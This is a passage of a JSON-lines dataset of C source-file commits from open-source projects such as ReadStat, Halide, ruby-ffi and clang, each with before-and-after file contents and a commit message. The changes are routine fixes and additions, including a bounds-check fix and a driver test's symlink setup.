(adt*)malloc(size)\n#define _DELETE( ptr )\tfree(ptr)\n#define _strdup( ptr )\tstrdup((char*)ptr)\n\n#endif \/*_MEM_H_*\/\n","subject":"Include sql_config.h always so that we get HAVE_TERMIOS_H, so that the password doesn't get echoed.","message":"Include sql_config.h always so that we get HAVE_TERMIOS_H, so that the\npassword doesn't get echoed.\n","lang":"C","license":"mpl-2.0","repos":"zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb"}
{"commit":"fbf5b9c1da353780074ca0129f80dd5f6b43664e","old_file":"unix\/sig_all.c","new_file":"unix\/sig_all.c","old_contents":"#include <signal.h>\n#include \"sig.h\"\n#include \"sysdeps.h\"\n\n#define SIGMAX _NSIG\n\nvoid sig_all_catch(signalfn fn)\n{\n  int i;\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sig_catch(i, fn);\n}\n\nvoid sig_all_default(void)\n{\n  int i;\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sig_default(i);\n}\n\nvoid sig_all_block(void)\n{\n  int i;\n#ifdef HASSIGPROCMASK\n  sigset_t set;\n  sigemptyset(&set);\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sigaddset(&set, i);\n  sigprocmask(SIG_BLOCK, &set, 0);\n#else\n  sigblock(~(1 << (SIGPROF-1)));\n#endif\n}\n\nvoid sig_all_unblock(void)\n{\n#ifdef HASSIGPROCMASK\n  sigset_t set;\n  sigemptyset(&set);\n  sigprocmask(SIG_UNBLOCK, &set, 0);\n#else\n  sigsetmask(0);\n#endif\n}\n","new_contents":"#include <signal.h>\n#include \"sig.h\"\n#include \"sysdeps.h\"\n\n#ifdef _SIG_MAXSIG\n#define SIGMAX _SIG_MAXSIG\n#else\n#ifdef _NSIG\n#define SIGMAX _NSIG\n#else\n#define SIGMAX 32\n#endif\n#endif\n\nvoid sig_all_catch(signalfn fn)\n{\n  int i;\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sig_catch(i, fn);\n}\n\nvoid sig_all_default(void)\n{\n  int i;\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sig_default(i);\n}\n\nvoid sig_all_block(void)\n{\n  int i;\n#ifdef HASSIGPROCMASK\n  sigset_t set;\n  sigemptyset(&set);\n  for (i = 1; i < SIGMAX; i++)\n    if (i != SIGPROF)\n      sigaddset(&set, i);\n  sigprocmask(SIG_BLOCK, &set, 0);\n#else\n  sigblock(~(1 << (SIGPROF-1)));\n#endif\n}\n\nvoid sig_all_unblock(void)\n{\n#ifdef HASSIGPROCMASK\n  sigset_t set;\n  sigemptyset(&set);\n  sigprocmask(SIG_UNBLOCK, &set, 0);\n#else\n  sigsetmask(0);\n#endif\n}\n","subject":"Work on systems that don't define _NSIG","message":"Work on systems that don't define _NSIG\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"3a883aee5ea4ed9fe27a627c439e4cb0eae18adf","old_file":"src\/lib\/efl_egueb_document.c","new_file":"src\/lib\/efl_egueb_document.c","old_contents":"","new_contents":"\/* EFL-Egueb Egueb based EFL extensions\n * Copyright (C) 2013 - 2014 Jorge Luis Zapata\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"efl_egueb_private.h\"\n#include \"efl_egueb_main.h\"\n\/* Put the common interfaces with EFL here, like:\n * - Animation\n * - IO\n * - Render?\n *\/\n\/*============================================================================*\n *                                  Local                                     *\n *============================================================================*\/\n\/*============================================================================*\n *                                 Global                                     *\n *============================================================================*\/\n\/*============================================================================*\n *                                   API                                      *\n *============================================================================*\/\n\n","subject":"Add the future file for common interfaces","message":"Add the future file for common interfaces\n","lang":"C","license":"lgpl-2.1","repos":"turran\/efl-egueb,turran\/efl-egueb"}
{"commit":"3e8df9192426b28a6fdad02faeb98a5e51dc4e43","old_file":"src\/vast\/aliases.h","new_file":"src\/vast\/aliases.h","old_contents":"#ifndef VAST_ALIASES_H\n#define VAST_ALIASES_H\n\n#include <cstdint>\n\nnamespace vast {\n\n\/\/\/ Uniquely identifies a VAST event.\nusing event_id = uint64_t;\n\n\/\/\/ Uniquely identifies a VAST type.\nusing type_id = uint64_t;\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_ALIASES_H\n#define VAST_ALIASES_H\n\n#include <cstdint>\n#include <limits>\n\nnamespace vast {\n\n\/\/\/ Uniquely identifies a VAST event.\nusing event_id = uint64_t;\n\n\/\/\/ The smallest possible event ID.\nstatic constexpr event_id min_event_id = 1;\n\n\/\/\/ The largest possible event ID.\nstatic constexpr event_id max_event_id =\n  std::numeric_limits<event_id>::max() - 1;\n\n\/\/\/ Uniquely identifies a VAST type.\nusing type_id = uint64_t;\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Add names for ID space boundaries.","message":"Add names for ID space boundaries.\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,mavam\/vast,mavam\/vast,pmos69\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast"}
{"commit":"4cec50d3ba00a1a7afc1fc6f4ce536fe9759170f","old_file":"src\/plparrot.c","new_file":"src\/plparrot.c","old_contents":"#include \"postgres.h\"\n#include \"executor\/spi.h\"\n#include \"commands\/trigger.h\"\n#include \"fmgr.h\"\n#include \"access\/heapam.h\"\n#include \"utils\/syscache.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"catalog\/pg_type.h\"\n\n\nPG_MODULE_MAGIC;\n\nPG_FUNCTION_INFO_V1(plparrot_call_handler);\n\nDatum\nplparrot_call_handler(PG_FUNCTION_ARGS)\n{\n    PG_RETURN_VOID();\n}\n","new_contents":"#include \"postgres.h\"\n#include \"executor\/spi.h\"\n#include \"commands\/trigger.h\"\n#include \"fmgr.h\"\n#include \"access\/heapam.h\"\n#include \"utils\/syscache.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"catalog\/pg_type.h\"\n\n\nPG_MODULE_MAGIC;\n\nDatum plparrot_call_handler(PG_FUNCTION_ARGS);\nvoid plparrot_elog(int level, char *message);\n\nPG_FUNCTION_INFO_V1(plparrot_call_handler);\n\nDatum\nplparrot_call_handler(PG_FUNCTION_ARGS)\n{\n    PG_RETURN_VOID();\n}\n\nvoid\nplparrot_elog(int level, char *message)\n{\n    elog(level, \"%s\", message);\n}\n","subject":"Add simple function to interact with pgsql APIs, and make something for the NQP bits to export","message":"Add simple function to interact with pgsql APIs, and make something for the NQP bits to export\n","lang":"C","license":"artistic-2.0","repos":"leto\/plparrot,leto\/plparrot,leto\/plparrot"}
{"commit":"5b3f7c5dd5173b07bec251e3a685ccead22a1002","old_file":"src\/readstat_convert.c","new_file":"src\/readstat_convert.c","old_contents":"\n#include <errno.h>\n#include \"readstat.h\"\n#include \"readstat_iconv.h\"\n#include \"readstat_convert.h\"\n\nreadstat_error_t readstat_convert(char *dst, size_t dst_len, const char *src, size_t src_len, iconv_t converter) {\n    \/* strip off spaces from the input because the programs use ASCII space\n     * padding even with non-ASCII encoding. *\/\n    while (src_len && src[src_len-1] == ' ') {\n        src_len--;\n    }\n    if (converter) {\n        size_t dst_left = dst_len;\n        char *dst_end = dst;\n        size_t status = iconv(converter, (readstat_iconv_inbuf_t)&src, &src_len, &dst_end, &dst_left);\n        if (status == (size_t)-1) {\n            if (errno == E2BIG) {\n                return READSTAT_ERROR_CONVERT_LONG_STRING;\n            } else if (errno == EILSEQ) {\n                return READSTAT_ERROR_CONVERT_BAD_STRING;\n            } else if (errno != EINVAL) { \/* EINVAL indicates improper truncation; accept it *\/\n                return READSTAT_ERROR_CONVERT;\n            }\n        }\n        dst[dst_len - dst_left] = '\\0';\n    } else {\n        memcpy(dst, src, src_len);\n        dst[src_len] = '\\0';\n    }\n    return READSTAT_OK;\n}\n","new_contents":"\n#include <errno.h>\n#include \"readstat.h\"\n#include \"readstat_iconv.h\"\n#include \"readstat_convert.h\"\n\nreadstat_error_t readstat_convert(char *dst, size_t dst_len, const char *src, size_t src_len, iconv_t converter) {\n    \/* strip off spaces from the input because the programs use ASCII space\n     * padding even with non-ASCII encoding. *\/\n    while (src_len && src[src_len-1] == ' ') {\n        src_len--;\n    }\n    if (converter) {\n        size_t dst_left = dst_len;\n        char *dst_end = dst;\n        size_t status = iconv(converter, (readstat_iconv_inbuf_t)&src, &src_len, &dst_end, &dst_left);\n        if (status == (size_t)-1) {\n            if (errno == E2BIG) {\n                return READSTAT_ERROR_CONVERT_LONG_STRING;\n            } else if (errno == EILSEQ) {\n                return READSTAT_ERROR_CONVERT_BAD_STRING;\n            } else if (errno != EINVAL) { \/* EINVAL indicates improper truncation; accept it *\/\n                return READSTAT_ERROR_CONVERT;\n            }\n        }\n        dst[dst_len - dst_left] = '\\0';\n    } else if (src_len + 1 > dst_len) {\n        return READSTAT_ERROR_CONVERT_LONG_STRING;\n    } else {\n        memcpy(dst, src, src_len);\n        dst[src_len] = '\\0';\n    }\n    return READSTAT_OK;\n}\n","subject":"Fix out of bounds writes during charset conversion","message":"Fix out of bounds writes during charset conversion\n\nFixes #128. Thanks to Google Autofuzz Project\n","lang":"C","license":"mit","repos":"WizardMac\/ReadStat,WizardMac\/ReadStat"}
{"commit":"b3d410c04e682cdb096bc1211544b9cf6a7186bf","old_file":"src\/runtime\/buf_size.h","new_file":"src\/runtime\/buf_size.h","old_contents":"","new_contents":"#ifndef HALIDE_BUF_SIZE_H\n#define HALIDE_BUF_SIZE_H\n\n\/\/ TODO: in new buffer_t, add an inline method to do this and kill this file.\n\n\/\/ Compute the total amount of memory we'd need to allocate on gpu to\n\/\/ represent a given buffer (using the same strides as the host\n\/\/ allocation).\nWEAK size_t buf_size(const buffer_t *buf) {\n    size_t size = buf->elem_size;\n    for (size_t i = 0; i < sizeof(buf->stride) \/ sizeof(buf->stride[0]); i++) {\n        size_t positive_stride;\n        if (buf->stride[i] < 0) {\n            positive_stride = (size_t)-buf->stride[i];\n        } else {\n            positive_stride = (size_t)buf->stride[i];\n        }\n        size_t total_dim_size = buf->elem_size * buf->extent[i] * positive_stride;\n        if (total_dim_size > size) {\n            size = total_dim_size;\n        }\n    }\n    return size;\n}\n\n#endif \/\/ HALIDE_BUF_SIZE_H\n","subject":"Add new file that was forgotten.","message":"Add new file that was forgotten.\n","lang":"C","license":"mit","repos":"kgnk\/Halide,kgnk\/Halide,psuriana\/Halide,ronen\/Halide,kgnk\/Halide,kgnk\/Halide,jiawen\/Halide,jiawen\/Halide,kgnk\/Halide,kgnk\/Halide,psuriana\/Halide,psuriana\/Halide,ronen\/Halide,ronen\/Halide,jiawen\/Halide,psuriana\/Halide,jiawen\/Halide,psuriana\/Halide,jiawen\/Halide,kgnk\/Halide,ronen\/Halide,ronen\/Halide,ronen\/Halide,kgnk\/Halide,ronen\/Halide,jiawen\/Halide,psuriana\/Halide,ronen\/Halide,psuriana\/Halide,jiawen\/Halide"}
{"commit":"a68494b48bbbdeb8293a0e5c521a501bf3eb3750","old_file":"OpenMRS-iOS\/MRSVisit.h","new_file":"OpenMRS-iOS\/MRSVisit.h","old_contents":"\/\/\n\/\/  MRSVisit.h\n\/\/  OpenMRS-iOS\n\/\/\n\/\/  Created by Parker Erway on 12\/2\/14.\n\/\/  Copyright (c) 2014 Erway Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface MRSVisit : NSObject\n@property (nonatomic, strong) NSString *displayName;\n@property (nonatomic, strong) NSString *UUID;\n@property (nonatomic) BOOL active;\n@end\n","new_contents":"\/\/\n\/\/  MRSVisit.h\n\/\/  OpenMRS-iOS\n\/\/\n\/\/  Created by Parker Erway on 12\/2\/14.\n\/\/  Copyright (c) 2014 Erway Software. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"MRSLocation.h\"\n\n@class MRSVisitType;\n@interface MRSVisit : NSObject\n@property (nonatomic, strong) NSString *displayName;\n@property (nonatomic, strong) NSString *UUID;\n@property (nonatomic, strong) NSString *startDateTime;\n@property (nonatomic, strong) MRSVisitType *visitType;\n@property (nonatomic, strong) MRSLocation *location;\n@property (nonatomic) BOOL active;\n@end\n","subject":"Add new attributes to Visit class","message":"Add new attributes to Visit class\n","lang":"C","license":"mpl-2.0","repos":"yousefhamza\/openmrs-contrib-ios-client,Undo1\/openmrs-contrib-ios-client,yousefhamza\/openmrs-contrib-ios-client,Undo1\/openmrs-contrib-ios-client"}
{"commit":"17e3691b024a18b4c5bd7359436bd8002074f537","old_file":"Equinox\/SimpleTimer.h","new_file":"Equinox\/SimpleTimer.h","old_contents":"#ifndef __TIMER_H__\n#define __TIMER_H__\n\n#include \"SDL\/include\/SDL.h\"\n\nclass SimpleTimer\n{\npublic:\n\tSimpleTimer()\n\t{\n\t\tpausedTicks = 0, runTicks = 0;\n\t\trunning = false;\n\t}\n\n\tvoid Start()\n\t{\n\t\trunning = true;\n\t\trunTicks = SDL_GetTicks();\n\t}\n\n\tvoid Stop()\n\t{\n\t\tif(running)\n\t\t{\n\t\t\trunning = false;\n\t\t\tpausedTicks = SDL_GetTicks() - runTicks;\n\t\t}\n\t}\n\n\tvoid Resume()\n\t{\n\t\tif(!running)\n\t\t{\n\t\t\trunning = true;\n\t\t\trunTicks = SDL_GetTicks() - pausedTicks;\n\t\t\tpausedTicks = 0;\n\t\t}\n\t}\n\n\tvoid Clear()\n\t{\n\t\trunning = false;\n\t\trunTicks = 0;\n\t\tpausedTicks = 0;\n\t}\n\n\tint GetTimerTicks() const\n\t{\n\t\tif (running)\n\t\t\treturn SDL_GetTicks() - runTicks;\n\t\treturn 0;\n\t}\n\n\tbool IsRunning() const\n\t{\n\t\treturn running;\n\t}\n\nprivate:\n\tint pausedTicks, runTicks;\n\tbool running;\n};\n\n\n#endif \/\/ __TIMER_H__","new_contents":"#ifndef __TIMER_H__\n#define __TIMER_H__\n\n#include \"SDL\/include\/SDL.h\"\n\nclass SimpleTimer\n{\npublic:\n\tSimpleTimer()\n\t{\n\t\tpausedTicks = 0, runTicks = 0;\n\t\trunning = false;\n\t}\n\n\tvoid Start()\n\t{\n\t\trunning = true;\n\t\trunTicks = SDL_GetTicks();\n\t}\n\n\tint Stop()\n\t{\n\t\tif(running)\n\t\t{\n\t\t\trunning = false;\n\t\t\treturn pausedTicks = SDL_GetTicks() - runTicks;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tvoid Resume()\n\t{\n\t\tif(!running)\n\t\t{\n\t\t\trunning = true;\n\t\t\trunTicks = SDL_GetTicks() - pausedTicks;\n\t\t\tpausedTicks = 0;\n\t\t}\n\t}\n\n\tvoid Clear()\n\t{\n\t\trunning = false;\n\t\trunTicks = 0;\n\t\tpausedTicks = 0;\n\t}\n\n\tunsigned int GetTimerTicks() const\n\t{\n\t\tif (running)\n\t\t\treturn SDL_GetTicks() - runTicks;\n\t\treturn 0;\n\t}\n\n\tunsigned int GetPausedTicks() const\n\t{\n\t\tif (!running)\n\t\t\treturn pausedTicks;\n\t\treturn 0;\n\t}\n\n\tbool IsRunning() const\n\t{\n\t\treturn running;\n\t}\n\nprivate:\n\tunsigned int pausedTicks, runTicks;\n\tbool running;\n};\n\n\n#endif \/\/ __TIMER_H__","subject":"Change int to unsigned int","message":"Change int to unsigned int\n\n","lang":"C","license":"mit","repos":"NeebulaGames\/EquinoxEngine,NeebulaGames\/EquinoxEngine,NeebulaGames\/EquinoxEngine"}
{"commit":"896daac6a878b6cf5feaa718c6a518335dfcc109","old_file":"src\/dtkCore\/dtkSingleton.h","new_file":"src\/dtkCore\/dtkSingleton.h","old_contents":"#ifndef DTKSINGLETON_H\n#define DTKSINGLETON_H\n\n#include <QtCore\/QMutex>\n\ntemplate <class T> class dtkSingleton\n{\npublic:\n    static T& instance(void)\n    {\n        static QMutex mutex;\n        \n        if(!s_instance) {\n            \n            mutex.lock();\n            \n            if(!s_instance)\n                s_instance = new T;\n            \n            mutex.unlock();\n        }\n\n        return s_instance;\n    }\n\nprivate:\n     dtkSingleton(void) {};\n    ~dtkSingleton(void) {};\n    \nprivate:\n    Q_DISABLE_COPY(dtkSingleton)\n    \nprivate:\n    static T *s_instance;\n};\n\ntemplate <class T> T *dtkSingleton<T>::s_instance = NULL;\n\n#define DTK_IMPLEMENT_SINGLETON(T)              \\\n    T *T::instance()                            \\\n    {                                           \\\n        return &(dtkSingleton<T>::instance());  \\\n    }\n\n#endif \/\/DTKSINGLETON\n","new_contents":"#ifndef DTKSINGLETON_H\n#define DTKSINGLETON_H\n\n#include <QtCore\/QMutex>\n\ntemplate <class T> class dtkSingleton\n{\npublic:\n    static T& instance(void)\n    {\n        static QMutex mutex;\n        \n        if(!s_instance) {\n            \n            mutex.lock();\n            \n            if(!s_instance)\n                s_instance = new T;\n            \n            mutex.unlock();\n        }\n\n        return (*s_instance);\n    }\n\nprivate:\n     dtkSingleton(void) {};\n    ~dtkSingleton(void) {};\n    \nprivate:\n    Q_DISABLE_COPY(dtkSingleton)\n    \nprivate:\n    static T *s_instance;\n};\n\ntemplate <class T> T *dtkSingleton<T>::s_instance = NULL;\n\n#define DTK_IMPLEMENT_SINGLETON(T)              \\\n    T *T::instance()                            \\\n    {                                           \\\n        return &(dtkSingleton<T>::instance());  \\\n    }\n\n#endif \/\/DTKSINGLETON\n","subject":"Fix generic singleton accessor syntax.","message":"Fix generic singleton accessor syntax.\n","lang":"C","license":"bsd-3-clause","repos":"d-tk\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,NicolasSchnitzler\/dtk,d-tk\/dtk,rdebroiz\/dtk,d-tk\/dtk,rdebroiz\/dtk,d-tk\/dtk,d-tk\/dtk,rdebroiz\/dtk,NicolasSchnitzler\/dtk,d-tk\/dtk,rdebroiz\/dtk"}
{"commit":"d8036e2cc4c1c60c5a2344df288af8d5e67b1bfc","old_file":"src\/string_reverse\/string_reverse.c","new_file":"src\/string_reverse\/string_reverse.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n  \/\/ Read string from a file\n  FILE* file_ptr = fopen(\"test.txt\", \"r\");\n\n  if (file_ptr == NULL)\n    return 1;\n\n  char* string = malloc(256);\n\n  fscanf(file_ptr, \"%s\", string);\n\n  \/\/ Solution\n  \n  int length = sprintf(string, \"%s\", string);\n  \n  int front = 0;\n  int back = length - 1;\n\n  while(front < back)\n  {\n    \/\/ swap 2 characters\n    char tmp = string[front];\n    string[front] = string[back];\n    string[back] = tmp;\n\n    ++front;\n    --back;\n  }\n\n  printf(\"%s\\n\", string);\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nvoid reverse(char* string)\n{\n  char* back = string;\n  char tmp;\n\n  while(*back)\n    ++back;\n\n  \/\/ Move from the null terminator\n  --back;\n\n  while (string < back)\n  {\n    char tmp = *string;\n    *string = *back;\n    *back = tmp;\n\n    ++string;\n    --back;\n  }\n}\n\nint main()\n{\n  \/\/ Read string from a file\n  FILE* file_ptr = fopen(\"test.txt\", \"r\");\n\n  if (file_ptr == NULL)\n    return 1;\n\n  char* string = malloc(256);\n\n  fscanf(file_ptr, \"%s\", string);\n\n  \/\/ Solution\n  reverse(string);\n  printf(\"%s\\n\", string);\n\n  return 0;\n}\n","subject":"Handle null terminator in string reverse","message":"Handle null terminator in string reverse\n","lang":"C","license":"mit","repos":"cknadler\/questions"}
{"commit":"4020b05b515c5a486de3224739e370dedfb5c005","old_file":"ext\/ffi_c\/Pointer.h","new_file":"ext\/ffi_c\/Pointer.h","old_contents":"\n#ifndef _POINTER_H\n#define\t_POINTER_H\n\n#ifdef\t__cplusplus\nextern \"C\" {\n#endif\n\n#include \"AbstractMemory.h\"\n\nextern void rbffi_Pointer_Init(VALUE moduleFFI);\nextern void rbffi_NullPointer_Init(VALUE moduleFFI);\nextern VALUE rbffi_Pointer_NewInstance(void* addr);\nextern VALUE rbffi_PointerClass;\nextern VALUE rbffi_NullPointerClass;\nextern VALUE rbffi_NullPointerSingleton;\nextern MemoryOps rbffi_NullPointerOps;\n\n\n#ifdef\t__cplusplus\n}\n#endif\n\n#endif\t\/* _POINTER_H *\/\n\n","new_contents":"\/*\n * Copyright (c) 2008, 2009, Wayne Meissner\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n *   list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n * * The name of the author or authors may not be used to endorse or promote\n *   products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef RBFFI_POINTER_H\n#define\tRBFFI_POINTER_H\n\n#ifdef\t__cplusplus\nextern \"C\" {\n#endif\n\n#include \"AbstractMemory.h\"\n\nextern void rbffi_Pointer_Init(VALUE moduleFFI);\nextern VALUE rbffi_Pointer_NewInstance(void* addr);\nextern VALUE rbffi_PointerClass;\nextern VALUE rbffi_NullPointerSingleton;\n\n\n#ifdef\t__cplusplus\n}\n#endif\n\n#endif\t\/* RBFFI_POINTER_H *\/\n\n","subject":"Remove some leftover null pointer vars","message":"Remove some leftover null pointer vars\n","lang":"C","license":"bsd-3-clause","repos":"majioa\/ffi,tduehr\/ffi,sparkchaser\/ffi,ferventcoder\/ffi,majioa\/ffi,mvz\/ffi,yghannam\/ffi,tduehr\/ffi,sparkchaser\/ffi,ferventcoder\/ffi,tduehr\/ffi,MikaelSmith\/ffi,ffi\/ffi,majioa\/ffi,ffi\/ffi,mvz\/ffi,sparkchaser\/ffi,sparkchaser\/ffi,MikaelSmith\/ffi,tduehr\/ffi,mvz\/ffi,yghannam\/ffi,ferventcoder\/ffi,MikaelSmith\/ffi,mvz\/ffi,yghannam\/ffi,ferventcoder\/ffi,yghannam\/ffi,majioa\/ffi,MikaelSmith\/ffi,yghannam\/ffi,ffi\/ffi"}
{"commit":"a81e238bcc471d0d8bf305a05da54d56eeef7ff5","old_file":"test\/Driver\/no-canonical-prefixes.c","new_file":"test\/Driver\/no-canonical-prefixes.c","old_contents":"\/\/ Due to ln -sf:\n\/\/ REQUIRES: shell\n\/\/ RUN: rm -rf %t.real\n\/\/ RUN: mkdir -p %t.real\n\/\/ RUN: cd %t.real\n\/\/ RUN: ln -sf %clang test-clang\n\/\/ RUN: cd ..\n\/\/ Important to remove %t.fake: If it already is a symlink to %t.real when\n\/\/ `ln -sf %t.real %t.fake` runs, then that would symlink %t.real to itself,\n\/\/ forming a cycle.\n\/\/ RUN: rm -rf %t.fake\n\/\/ RUN: ln -sf %t.real %t.fake\n\/\/ RUN: cd %t.fake\n\/\/ RUN: .\/test-clang -v -S %s 2>&1 | FileCheck --check-prefix=CANONICAL %s\n\/\/ RUN: .\/test-clang -v -S %s -no-canonical-prefixes 2>&1 | FileCheck --check-prefix=NON-CANONICAL %s\n\/\/\n\/\/ FIXME: This should really be '.real'.\n\/\/ CANONICAL: InstalledDir: {{.*}}.fake\n\/\/ CANONICAL: {{[\/|\\\\]*}}clang{{.*}}\" -cc1\n\/\/\n\/\/ NON-CANONICAL: InstalledDir: .{{$}}\n\/\/ NON-CANONICAL: test-clang\" -cc1\n","new_contents":"\/\/ Due to ln -sf:\n\/\/ REQUIRES: shell\n\/\/ RUN: mkdir -p %t.real\n\/\/ RUN: cd %t.real\n\/\/ RUN: ln -sf %clang test-clang\n\/\/ RUN: cd ..\n\/\/ If %.fake already is a symlink to %t.real when `ln -sf %t.real %t.fake`\n\/\/ runs, then that would symlink %t.real to itself, forming a cycle.\n\/\/ The `-n` flag prevents this.\n\/\/ RUN: ln -sfn %t.real %t.fake\n\/\/ RUN: cd %t.fake\n\/\/ RUN: .\/test-clang -v -S %s 2>&1 | FileCheck --check-prefix=CANONICAL %s\n\/\/ RUN: .\/test-clang -v -S %s -no-canonical-prefixes 2>&1 | FileCheck --check-prefix=NON-CANONICAL %s\n\/\/\n\/\/ FIXME: This should really be '.real'.\n\/\/ CANONICAL: InstalledDir: {{.*}}.fake\n\/\/ CANONICAL: {{[\/|\\\\]*}}clang{{.*}}\" -cc1\n\/\/\n\/\/ NON-CANONICAL: InstalledDir: .{{$}}\n\/\/ NON-CANONICAL: test-clang\" -cc1\n","subject":"Use `ln -n` to prevent forming a symlink cycle, instead of rm'ing the source","message":"Use `ln -n` to prevent forming a symlink cycle, instead of rm'ing the source\n\nThis is a better fix for the problem fixed in r334972.\n\nAlso remove the rm'ing of the symlink destination that was there to\nclean up the bots -- it's over a year later, bots should be happy now.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D64301\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@365414 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"cde8356ff78ad98f1c5cf8f34fa92014a1c0342f","old_file":"kernel.h","new_file":"kernel.h","old_contents":"extern void denoise(void*, int, const uint32_t *in, uint32_t *out, int h, int w);\nextern void *kernelInit(void);\nextern void kernelFinalize(void*);\n\nenum {\n\tSPATIAL,\n\tTEMPORAL_AVG,\n\tKNN,\n\tAKNN,\n\tADAPTIVE_TEMPORAL_AVG,\n\tDIFF,\n\tSOBEL,\n\tMOTION,\n};\n","new_contents":"extern void denoise(void*, int, const uint32_t *in, uint32_t *out, int h, int w);\nextern void *kernelInit(void);\nextern void kernelFinalize(void*);\n\nenum {\n\t\/\/ \"Real\" filters\n\tSPATIAL,\n\tTEMPORAL_AVG,\n\tADAPTIVE_TEMPORAL_AVG,\n\tKNN,\n\tAKNN,\n\t\/\/ Helpers\n\tDIFF,\n\tSOBEL,\n\tMOTION,\n\n\tNFILTERS,\n};\n","subject":"Add comments for filter enums","message":"Add comments for filter enums\n","lang":"C","license":"mit","repos":"xiaq\/webcamfilter,xiaq\/webcamfilter,xiaq\/webcamfilter"}
{"commit":"82a080813c8def8caace0d3b11079cfa20c72766","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, E_Randr_Crtc_Config *crtc);\nvoid e_smart_monitor_output_set(Evas_Object *obj, E_Randr_Output_Config *output);\n\n# endif\n#endif\n","subject":"Add function prototypes for setting monitor crtc and output config.","message":"Add function prototypes for setting monitor crtc and output config.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84129\n","lang":"C","license":"bsd-2-clause","repos":"tasn\/enlightenment,rvandegrift\/e,rvandegrift\/e,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment"}
